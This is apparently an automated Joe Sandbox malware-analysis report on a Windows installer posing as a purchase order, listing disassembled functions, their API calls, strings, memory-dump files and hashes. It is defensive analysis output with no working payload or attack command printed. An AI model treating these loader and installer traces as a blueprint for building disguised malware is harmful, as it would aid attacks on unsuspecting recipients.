API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 781c68a562c4275def2cb6efd09bc8267fed111bafce3b607de78853346f816a
Instruction ID: 4cadc110c2e7c353aad7fbce4b856cdba07702bdbf8ab717d15b7acb69b0b33d
Opcode Fuzzy Hash: 781c68a562c4275def2cb6efd09bc8267fed111bafce3b607de78853346f816a
Instruction Fuzzy Hash: 22228A71D24206DFDB609FF98880AEEB7B4FB05305F11453FD1A5A7380DBB25A8A8B54

Function 004072EC Relevance: 2.8, Strings: 2, Instructions: 300COMMON

Download Yara Rule

Strings

p!C, xrefs: 0040743C, 0040745E, 0040750E, 004074E0, 00407463
p!C, xrefs: 00407520

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: p!C$p!C
API String ID: 0-3125587631
Opcode ID: b391703ce6aa9d184f83615265780e2503839b4fa6daee6685a5ac04655da8ea
Instruction ID: 7c26ffe8835462b5285d43e9ad3b72979f058f3642fe5300250d3649f4ae0bba
Opcode Fuzzy Hash: b391703ce6aa9d184f83615265780e2503839b4fa6daee6685a5ac04655da8ea
Instruction Fuzzy Hash: 9BC15831E04219DBDF18CF68C8905EEBBB2BF88314F25866AC85677380D734A942CF95

Function 00406B15 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9639f9c0007cb4c124acbb6985d7f6f1a05031d6bc3fffd11e08744ca1378656
Instruction ID: 703def0becceeecb9d8561ea32c53bcab4b84ebc773a8a1d0b412cad538f794c
Opcode Fuzzy Hash: 9639f9c0007cb4c124acbb6985d7f6f1a05031d6bc3fffd11e08744ca1378656
Instruction Fuzzy Hash: 1EE1797190470ADFDB24CF99C880BAAB7F5FF44305F15852EE497A7291E378AA91CB04

Function 004043F0 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040448E
GetDlgItem.USER32(?,000003E8), ref: 004044A2
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004044BF
GetSysColor.USER32(?), ref: 004044D0
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044DE
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044EC
lstrlenW.KERNEL32(?), ref: 004044F1
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044FE
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404513
GetDlgItem.USER32(?,0000040A), ref: 0040456C
SendMessageW.USER32(00000000), ref: 00404573
GetDlgItem.USER32(?,000003E8), ref: 0040459E
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045E1
LoadCursorW.USER32(00000000,00007F02), ref: 004045EF
SetCursor.USER32(00000000), ref: 004045F2
LoadCursorW.USER32(00000000,00007F00), ref: 0040460B
SetCursor.USER32(00000000), ref: 0040460E
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040463D
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040464F

Strings

7y, xrefs: 00404412
Call, xrefs: 004045CD
N, xrefs: 0040458C
gC@, xrefs: 004045FA

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: 7y$Call$N$gC@
API String ID: 3103080414-3076107432
Opcode ID: 353f568027e9435f0b10a007412a0fb7b671a4650aedb506db2b7bc5b58b0be6
Instruction ID: 67960cbe9d5dd80a83daf25f2437327cccbb0fafcef4e9f4d39b28ee92a42e65
Opcode Fuzzy Hash: 353f568027e9435f0b10a007412a0fb7b671a4650aedb506db2b7bc5b58b0be6
Instruction Fuzzy Hash: ED618FB1900209BFDB109F60DD85EAA7B79FB84345F00853AF605B62D0D77DA951CFA8

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,Undseeligheds17 Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
Undseeligheds17 Setup, xrefs: 00401150

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Undseeligheds17 Setup
API String ID: 941294808-1725128886
Opcode ID: e215112caf94b1f54c3d659d29471f2010c28c8ad64a223ce82802b434a3cd12
Instruction ID: 68187ad06c86d7515f13608b457f8be07a0117cb3bcf177897c910b083aea3f1
Opcode Fuzzy Hash: e215112caf94b1f54c3d659d29471f2010c28c8ad64a223ce82802b434a3cd12
Instruction Fuzzy Hash: 9A418C71800209AFCF058F95DE459AF7BB9FF44315F00842AF591AA1A0C778EA54DFA4

Function 00405F06 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004060A1,?,?), ref: 00405F41
GetShortPathNameW.KERNEL32(?,004308E8,00000400), ref: 00405F4A

Part of subcall function 00405D15: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D25
Part of subcall function 00405D15: lstrlenA.KERNEL32(00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D57

GetShortPathNameW.KERNEL32(?,004310E8,00000400), ref: 00405F67
wsprintfA.USER32 ref: 00405F85
GetFileSize.KERNEL32(00000000,00000000,004310E8,C0000000,00000004,004310E8,?,?,?,?,?), ref: 00405FC0
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405FCF
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406007
SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,004304E8,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 0040605D
GlobalFree.KERNEL32(00000000), ref: 0040606E
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00406075

Part of subcall function 00405DB0: GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\PO 0309494059506060609696007.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405DB4
Part of subcall function 00405DB0: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DD6

Strings

%ls=%ls, xrefs: 00405F7B
[Rename], xrefs: 00405FEF, 00406001

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 151896fb917cb721a647a276051a8043771a484634d5eaa0db9ba54421dac525
Instruction ID: 4536b0422d5dde00314373cba87b6dc9e05edcb010d47b65b9eea0f1bfd6f862
Opcode Fuzzy Hash: 151896fb917cb721a647a276051a8043771a484634d5eaa0db9ba54421dac525
Instruction Fuzzy Hash: 5A313531641B04BBC220AB659D48F6B3AACEF45744F15003FFA46F62D2DB7C98118ABD

Function 0040654E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",0040336A,C:\Users\user\AppData\Local\Temp\,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 004065B1
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004065C0
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",0040336A,C:\Users\user\AppData\Local\Temp\,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 004065C5
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",0040336A,C:\Users\user\AppData\Local\Temp\,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 004065D8

Strings

"C:\Users\user\Desktop\PO 0309494059506060609696007.exe", xrefs: 0040654E
C:\Users\user\AppData\Local\Temp\, xrefs: 0040654F, 00406554
*?|<>/":, xrefs: 004065A0

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\PO 0309494059506060609696007.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2221229530
Opcode ID: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction ID: 36fae6fd7d65e337959ab81909abbfc549fe516cf0b4c9ff473ab524d2c4c229
Opcode Fuzzy Hash: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction Fuzzy Hash: B611B65580061279DB302B14BC40EB762F8EF54764F56403FED86732C8EBBC5C9292AD

Function 00404298 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004042B5
GetSysColor.USER32(00000000), ref: 004042F3
SetTextColor.GDI32(?,00000000), ref: 004042FF
SetBkMode.GDI32(?,?), ref: 0040430B
GetSysColor.USER32(?), ref: 0040431E
SetBkColor.GDI32(?,?), ref: 0040432E
DeleteObject.GDI32(?), ref: 00404348
CreateBrushIndirect.GDI32(?), ref: 00404352

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: a3c6a1d12b74a4a342abaca89036a15a37f51972f1e3113ed1cbee018e9c0b42
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 772156716007059BC724DF78D948B5B77F4AF81710B04893DED96A26E0D734E544CB54

Function 00404BEC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404C07
GetMessagePos.USER32 ref: 00404C0F
ScreenToClient.USER32(?,?), ref: 00404C29
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404C3B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C61

Strings

f, xrefs: 00404C3D

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: 457ccdd811883e010b73e4973708530e0d9e00004b69c5e73a61d7a3cd07de8f
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: CF015271900218BAEB10DBA4DD85BFEBBBCAF95711F10412BBA50B71D0D7B499018BA4

Function 00401DB9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD0), ref: 00401E3E

Strings

Calibri, xrefs: 00401E24

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 7220f7f6e98e794884dde3e45c3c7d189f5b412538bd64b288b51c38544c4e3e
Instruction ID: ba082d56d8bf6e999078db2812661e05c0675f9cd89887cb5e118dc0f9610a58
Opcode Fuzzy Hash: 7220f7f6e98e794884dde3e45c3c7d189f5b412538bd64b288b51c38544c4e3e
Instruction Fuzzy Hash: CF015E71944240EFE700ABB0AF4AAD97FB4AF55301F10457EE242F61E2DAB904458B2D

Function 6E42161D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,6E4221EC,?,00000808), ref: 6E421635
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,6E4221EC,?,00000808), ref: 6E42163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,6E4221EC,?,00000808), ref: 6E421650
GetProcAddress.KERNEL32(!Bn,00000000), ref: 6E421657
GlobalFree.KERNEL32(00000000), ref: 6E421660

Strings

!Bn, xrefs: 6E421653

Memory Dump Source

Source File: 00000000.00000002.2313961688.000000006E421000.00000020.00000001.01000000.00000006.sdmp, Offset: 6E420000, based on PE: true

Associated: 00000000.00000002.2313936159.000000006E420000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2313981846.000000006E424000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2314004902.000000006E426000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e420000_PO 0309494059506060609696007.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID: !Bn
API String ID: 1148316912-2056604793
Opcode ID: 1eb6a850a06f16f7d3cb0e6dc9df6d633e447e755e62d5de59ac4cc8130d55b9
Instruction ID: 429a9cf3b99ac7fe11808ea0dccdb6ea4f2c0decc034cb3b8325fdc8ffd93933
Opcode Fuzzy Hash: 1eb6a850a06f16f7d3cb0e6dc9df6d633e447e755e62d5de59ac4cc8130d55b9
Instruction Fuzzy Hash: 35F01C722065387FDA202AB69D4CC9BBE9CDF8B2F5B110211F6289219086614C42D7F1

Function 00402DF3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
MulDiv.KERNEL32(000C4EFF,00000064,000C5DA8), ref: 00402E3C
wsprintfW.USER32 ref: 00402E4C
SetWindowTextW.USER32(?,?), ref: 00402E5C
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E6E

Strings

verifying installer: %d%%, xrefs: 00402E46

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
